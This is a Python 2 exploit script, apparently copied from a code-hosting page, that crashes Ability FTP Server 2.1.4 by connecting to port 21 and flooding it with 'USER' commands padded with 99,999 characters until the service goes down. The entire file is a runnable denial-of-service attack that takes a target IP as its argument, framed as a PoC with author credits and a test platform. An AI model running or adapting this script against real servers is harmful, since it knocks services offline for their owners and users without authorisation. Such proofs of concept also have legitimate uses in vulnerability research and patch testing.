61 lines
No EOL
1.4 KiB
Python
Executable file
61 lines
No EOL
1.4 KiB
Python
Executable file
#!/usr/bin/env python
|
|
#
|
|
# Exploit Title: Ability FTP Server afsmain.exe USER Command Remote Dos
|
|
# Date: 2015-08-15
|
|
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
|
|
# Twitter: st0rnpentest
|
|
#
|
|
# Vendor Homepage: www.codecrafters.com
|
|
# Software Link: http://www.codecrafters.com/AbilityFTPServer
|
|
# Version: 2.1.4
|
|
# Tested on: Windows 7
|
|
#
|
|
|
|
import socket
|
|
import sys
|
|
import os
|
|
|
|
|
|
def clear():
|
|
os.system("cls")
|
|
|
|
def banner():
|
|
print "############################################".center(80)
|
|
print "# Ability FTP Server DoS PoC #".center(80)
|
|
print "# Author: St0rn #".center(80)
|
|
print "# <fabien[at]anbu-pentest[dot]com> #".center(80)
|
|
print "############################################".center(80)
|
|
|
|
def createconn(ip):
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
try:
|
|
s.connect((ip,21))
|
|
except:
|
|
print "\n"
|
|
print "[+] Server Down!".center(80)
|
|
sys.exit(0)
|
|
return s
|
|
|
|
def crash(sock):
|
|
try:
|
|
while 1:
|
|
sock.send('USER '+'a'*99999)
|
|
sys.stdout.write('.')
|
|
except:
|
|
sock.close()
|
|
|
|
############### Main ###############
|
|
clear()
|
|
banner()
|
|
|
|
if len(sys.argv)==2:
|
|
print "\n"
|
|
print "Waiting 2 or 3 minutes before crash".center(80)
|
|
print "(The server can be run without afsloader.exe)".center(80)
|
|
while 1:
|
|
s=createconn(sys.argv[1])
|
|
crash(s)
|
|
else:
|
|
print "\n"
|
|
print "Usage: AftpDos.py [Server IP]".center(80)
|
|
sys.exit(0) |